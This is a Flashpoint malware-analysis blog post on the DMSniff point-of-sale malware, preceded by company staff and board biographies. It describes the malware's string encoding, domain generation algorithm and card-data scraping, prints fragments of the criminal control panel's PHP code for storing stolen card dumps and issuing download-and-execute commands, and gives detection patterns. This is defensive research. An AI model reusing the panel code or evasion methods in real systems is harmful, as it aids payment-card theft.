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Evan Kohlmann
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Josh Devon
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Josh Devon focuses on product vision and strategy at Flashpoint while ensuring the company’s departments function synergistically during its rapid growth. He also works to ensure that customers receive best in class products, services, and support. Previously, Mr. Devon co-founded the SITE Intelligence Group where he served as Assistant Director. He holds an MA from SAIS at Johns Hopkins Univ. At the Univ. of Pennsylvania, he received a BS in Economics from the Wharton School and a BA in English from the College of Arts and Sciences.
Jennifer Leggio
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Chris Camacho
Chief Strategy Officer
Chris Camacho leads the company’s sales and client engagement & development teams, which also includes customer success, solution architecture, business development, strategic integrations, and the FPCollab sharing community. With over 15 years of cybersecurity leadership experience, he has spearheaded initiatives across Operational Strategy, Incident Response, Threat Management, and Security Operations to ensure cyber risk postures align with business goals. Most recently as a Senior Vice President of Information Security at Bank of America, Mr. Camacho was responsible for overseeing the Threat Management Program. An entrepreneur, Mr. Camacho also serves as CEO for NinjaJobs: a career-matching community for elite cybersecurity talent. He has a BS in Decision Sciences & Management of Information Systems from George Mason University.
Lisa Iadanza
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Lisa M. Iadanza leads all functional areas of People Operations at Flashpoint, including human resources, talent acquisition & management, employee engagement, and developing high performance teams. In addition to collaborating with the executive team to drive strategic growth, she plays an integral role in fostering Flashpoint’s culture and mission. Driven by her passions for mentorship, employee advocacy, and talent development, Ms. Iadanza has more than twenty years of experience in building, scaling, and leading human resources functions. Prior to Flashpoint, she held leadership roles at Conde Nast, Terra Technology, and FreeWheel. She is a member of the Society for Human Resources Management (SHRM) and holds a bachelor’s degree in management with concentrations in human resources and marketing from State University of New York at Binghamton.
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Lance James
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Brian Costello
SVP Global Partnerships and U.S. Public Sector
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Jake Wells
VP, Client Engagement & Development and Solution Architecture
Jake Wells leads strategic integrations and information sharing as part of the client engagement & development team, which serves as an internal advocate for our government and commercial clients to ensure Flashpoint’s intelligence solutions meet their evolving needs. He leverages a decade of experience running cyber and counterterrorism investigations, most recently with the NYPD Intelligence Bureau, to maximize the value customers generate from our products and services. Mr. Wells holds an MA from Columbia University and a BA from Emory University.
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Justin Rogers
VP Revenue Operations
Justin Rogers leads the Revenue Operations team at Flashpoint, aligning marketing, sales, partnerships, and customer success across vision, planning, process, and goals. He leverages over 15 years of experience in security, strategy, product design, and implementation to drive growth, provide an end-to-end view of the customer journey, and a seamless customer experience. Recently, Justin led Marketing for Centripetal, bringing the first Threat Intelligence Gateway to market. Previously, he managed operations of a Counter IED lab electronics forensics division while forward deployed in support of Operation Iraqi Freedom and Operation Enduring Freedom in Afghanistan. Justin holds a BS in Electrical Engineering from the University of New Hampshire.
Glenn Lemons
Executive Director of Customer Success
Glenn Lemons is a Executive Director of Customer Success at Flashpoint. He previously served as the acting Director of Citigroup's Cyber Intelligence Center where he was responsible for analyzing and reacting to intelligence from a variety of threats. These threats ranged from fraudulent activity and attempting to defraud Citi's clients to supporting security operations for the firm's worldwide network presence. He has extensive experience working with multiple clients across the financial services, manufacturing, healthcare, and public sectors. Glenn also has more than 26 years of intelligence experience within the operational and support communities in the U.S. military and federal civilian service; seven of which focused on both defensive and offensive cyber operations. While working for the U.S. Department of Homeland Security, he testified numerous times before U.S. Congressional committees and member requested open and closed sessions.
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Steve Leightell
Steve started his career in Internet sales in the early 1990s and was always a top sales rep before transitioning to business development. By the early 2000s, he was the Director of Business Development at DWL, where he managed a team that built partnerships with Accenture, Oracle, Tata Consulting, Wipro, Cognizant and IBM. Steve designed the channel and strategy that ultimately culminated in the acquisition of DWL by IBM in 2005. He went on to lead a global team within IBM that was responsible for major system integrator partnerships. In 2008, he left IBM to found a niche consulting firm focused on business development for SaaS organizations. Steve holds a BA in anthropology and sociology from Carleton University in Ottawa.
Ellie Wheeler
Ellie Wheeler is a Partner at Greycroft and is based in the firm’s New York office. Prior to joining Greycroft, Ellie worked in a similar role evaluating investment opportunities at Lowercase Capital. Ellie also worked at Cisco in Corporate Development doing acquisitions, investments, and strategy within the unified communications, enterprise software, mobile, and video sectors. While at Cisco, she was involved in multiple acquisitions and investments, including PostPath, Jabber, Xobni, and Tandberg. She began her career in growth capital private equity at Summit Partners in Boston. Ellie graduated magna cum laude from Georgetown University with a BA in Psychology and holds an MBA from Harvard Business School.
Glenn McGonnigle
Glenn McGonnigle is a General Partner at TechOperators. Prior to launching TechOperators in 2008, Glenn was CEO of VistaScape Security Systems, a venture-backed provider of enterprise intelligent video surveillance software. He lead the company through its successful sale to Siemens Building Technologies. Previously, Glenn was a co-founder and senior executive of Atlanta-based Internet Security Systems (ISS) where he helped raise initial venture capital and launch the business. For 7 years, he led the business development team in developing sales channels and entering the managed security services market. During his tenure, the company grew from startup to revenues of over $225 million and was later acquired by IBM for $1.3 billion.
Peter George
Peter George has an established track record of building companies that deliver sustained growth and profits and in identifying critical worldwide partnership opportunities that strategically expand market share. Prior to becoming President and CEO of Fidelis Security Systems in 2008, Mr. George spent the last seven years as President and CEO of Crossbeam Systems, the market leader in the high-end segment of the Unified Threat Management market, where he took the company from being a pre-revenue start-up to over $50 million in revenue. Previously, he was President of Nortel Networks Enterprise Business in Europe, Middle-East, and Africa, responsible for managing more than 5,000 employees and $2 billion in revenue. Mr. George came to Nortel via their 1998 acquisition of Bay Networks where he was serving as vice president of European operations. During his tenure at Wellfleet and Bay, he played key sales executive roles in New England and in Europe. Prior to joining Wellfleet, Mr. George served as the Northeast regional manager and GM of Canada at 3Com Corporation, and also held senior management positions at Ungerman Bass. He received his BA from the College of the Holy Cross, and has done graduate studies at Harvard and Oxford University.
Brendan Hannigan
Brendan joined Polaris Partners in 2016 as an entrepreneur partner. In this role, he focuses on funding and founding companies in the technology sector with a concentration in cloud, analytics, and cybersecurity. Brendan is a co-founder of Sonrai Security and chairman of Twistlock, both Polaris investments. He also currently serves on the board of Bitsight Technologies and Flashpoint. A 25 year technology industry veteran, Brendan was most recently the general manager of IBM Security. Under Brendan’s leadership, IBM Security grew significantly faster than the overall security market to become the number one enterprise security provider in the world with almost $2B of annual revenue.
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‘DMSniff’ POS Malware Actively Leveraged to Target Small-, Medium-Sized Businesses

Blog
March 13, 2019

By Jason Reaves & Joshua Platt

Point-of-sale malware previously only privately sold has been used in breaches of small- and medium-sized businesses in the restaurant and entertainment industries. The malware, known as DMSniff, also uses a domain generation algorithm (DGA) to create lists of command-and-control domains on the fly. This technique is valuable to an attacker because if domains are taken down by law enforcement, technology companies, or hosting providers, the malware can still communicate and receive commands or share stolen data.

Researchers at Flashpoint believe the use of a DGA is rarely seen in the realm of POS malware.

Point-of-sale malware continues to plague industries such as food services and hospitality where older and unsupported systems remain prevalent, especially in small- and medium-sized companies. In these environments where card-present transactions are king, criminals have been relentless in targeting these vulnerable devices. Data from last year’s Verizon Data Breach Investigations Report indicates that point-of-sale terminals were the second most-attacked network asset behind database servers.

Most often, the malware scrapes Track 1 and Track 2 data from a credit card when it’s swiped through a terminal, before it is encrypted and sent to a payment processor. Attackers may either physically tamper with a POS device to install the malware, or can exploit a vulnerability over the network to infect a device.

As for DMSniff, it appears to have flown under the radar for at least four years, and has been actively used since at least 2016. Flashpoint analysts believe attackers using DMSniff could be gaining an initial foothold on devices either by using brute-force attacks against SSH connections, or by scanning for vulnerabilities and exploiting those.

Below, we share some technical details on the malware and corresponding panel code. We also share some possible mitigations and links to indicators of compromise.

Diving Into DMSniff

DMSniff uses multiple techniques in order to protect itself and its command-and-control (C2) communications from researchers and law enforcement. The first technique is a simple string-encoding routine, below, designed to hide its strings. This shields the malware’s capabilities from detection, making it difficult for researchers to learn its capabilities.

Image 1: The string encoding used by DMSniff.
Image 1: The string encoding used by DMSniff.

A pseudocode Python-based implementation of this can be found below:

Image 2: The pseudocode Python-based implementation of the string encoding.
Image 2: The pseudocode Python-based implementation of the string encoding.

Using this, Flashpoint decoded select strings, which can be downloaded below. Another technique used by this malware is a DGA that allows it to resist takedowns and bypass trivial blocking mechanisms.

Image 3: The malware’s initial DGA.
Image 3: The malware’s initial DGA.

The DGA is based on a number of hardcoded values; in the samples researchers have found, the first two characters of the generated domains are hardcoded in the bot. Researchers have found 11 variants of this DGA so far, all structured in the same algorithm, but with variable first two letters and hardcoded multiply values in the algorithm.

Image 4: Pseudocode for the domain generation algorithm.
Image 4: Pseudocode for the domain generation algorithm.

The bot loops through the domain generation while rotating through a list of top-level domains (TLDs)— e.g .in, .ru, .net, .org, .com—until it finds a server it can talk to. The data that was harvested by the bot to create a hostid is then sent off inside the user-agent.

Image 5: Malware check-in example.
Image 5: Malware check-in example.

It is worth noting the fake response, which pretends to be an error. There is also some data in the response that is commented out as “vqns”; this is verified by the bot to determine whether it is a real C2 domain.

Image 6: Malware code for parsing comment block.
Image 6: Malware code for parsing comment block.

For the data theft portion of the POS, the bot is simplistic because it comes with an onboard list of process names to avoid; it will use this list while looping through the process tree. Each time it finds an interesting process, it will loop through the memory sections to attempt to find a credit card number. Once a number is found, the bot will take the card data and some of the surrounding memory, packages it, and sends it to the C2.

Image 7: Redacted DMSniff panel, bot overview.
Image 7: Redacted DMSniff panel, bot overview.

After a report on the stolen data has been downloaded or reviewed, it is deleted from the panel, meaning the stolen data is being exfiltrated somewhere else either to store or sell.

Below is the PHP code from the panel responsible for deleting reports after being sent:

//- del all sent

 $das = $_GET[‘das’];

 if (!empty($das))
 {
  $dh = opendir($dirn);
  if (!$dh) { echo “cant open dir”; die(); }

  while (($file = readdir($dh)) !== false)
  {
   if ($file[0] != ‘d’) continue;
   if ($file[1] != ‘_’) continue;
   if (!strpos($file,”.SENTOK”)) continue;

   if (defined(“MARKER”))
   {
    $exp=explode(‘_’,$file);
    if ($exp[1] != MARKER) continue;
   }

   unlink($file);
  }
 }

From the panel, an entry of the XOR value needed to unlock the report is added; the panel will then verify the data. As of this writing, all identified panels and bots use the same single byte XOR key of ‘0xd’ or ‘13.’

Image 8: Redacted DMSniff report data overview for retrieving stolen data in the panel.
Image 8: Redacted DMSniff report data overview for retrieving stolen data in the panel.

Stolen data files are based on the bot data and a marker value:

$filedst = DMPPATH.’/d_’.$mrk.’_’.$realip.’_’.mktime();

The marker value is at most 0-2 in length:

 $mrk    = $_GET[‘m’];
 if (strlen($mrk) > 2) die(); // hack protection


This is also where the .upl files are created to signify the bot has uploaded data:

$fnm = my_base64_encode($exp[1]);
$f = fopen(INFOPATH.$fnm.’.upl’,”w”);
$data = mktime().’|’.$exp[1].’|’.$realip.’|’;
fputs($f,$data);
fclose($f);

If all is successful for the uploader, an <!-OK-> is returned:

 if ($filear[“error”][0] == 0) echo “<!-OK->”;

Panel code to parse bot checkin:

 $ua  = getenv(‘HTTP_USER_AGENT’);
 $pos = strpos($ua,’DSNF_’);

The returned data from this is a string-encoded version of the PID (Process Identifier) with every digit having “a” added to it and hardcoded mul values similar to the DGA and stored in a fake 404 page in a comment.

 $tmp = substr($ua,$pos+5);
 $exp = explode(‘)’,$tmp);
 $pid = $exp[0];

 echo “<!-“.chr(97+ToRange($pid)).chr(97+ToRange(3*$pid)).chr(97+ToRange(5*$pid)).chr(97+ToRange(7*$pid)).”->”;

If a shell command has been set via a .prt file, then another comment will be added:

// shl cmd

  if (file_exists(INFOPATH.$fnm.’.prt’) )
  {
   $shl = file_get_contents(INFOPATH.$fnm.’.prt’);
   $exp = explode(‘|’,$shl);
   echo “<!-#”.$exp[0].”->”;
  }

 }

This will have the ip:port for the bot to connect to and download and execute files. The bot uses FTP to accomplish this action of downloading secondary files.

Conclusion

DMSniff is another name in a growing list of evolving threats for the point-of-sale malware world. During our research we found that this malware was primarily utilized to target small to medium sized businesses such as restaurants and theaters. It also contains a domain generation algorithm, something that is rare to see in point-of-sale malware

Mitigations

Flashpoint recommends organizations regularly update all attack surface appliances. The suspected infection avenue is SSH brute forcing (low confidence) and common exploit scanners (low confidence). Host-based detections for the following file could also be beneficial:

dmsnf.cfg

Also monitoring for abnormal Windows processes execution, such as the following:

Image=”*csrss.exe” AND (ParentImage!=”*system” OR ParentImage!=”*smss.exe”)

Image=”*lsass.exe” AND ParentImage!=”*wininit.exe”

As with all host-based indicators, additional tuning may be needed depending on the environment.

Attachments & Downloads

• To download the indicators of compromise (IOCs) for DMSniff, click here.

• To download the decoded strings for DMSniff, click here.

avatar

Jason Reaves

Principal Threat Researcher

Jason Reaves is a Principal Threat Researcher at Flashpoint who specializes in malware reverse-engineering. He has spent the majority of his career tracking threats in the Crimeware domain, including reverse-engineering data structures and algorithms found in malware in order to create automated frameworks for harvesting configuration and botnet data. Previously, he worked as a software developer and unix administrator in the financial industry and also spent six years in the U.S. Army. Jason holds multiple certifications related to reverse-engineering and application exploitation and has published numerous papers on topics such as writing malware scripts pretending to be a bot, unpackers, configuration data harvesters and covert channel utilities. He enjoys long walks in IDA and staring at RFCs for hours.

avatar

Joshua Platt

Principal Threat Researcher

Joshua Platt is a Principal Threat Researcher at Flashpoint who specializes in investigating complex financial crimeware families. As a former network security engineer, he first began reversing malware while working in the financial services industry nearly 10 years ago. Joshua graduated from the University of North Texas with a B.S. in criminal justice and has earned multiple certifications within the security industry related to reverse engineering and penetration testing.

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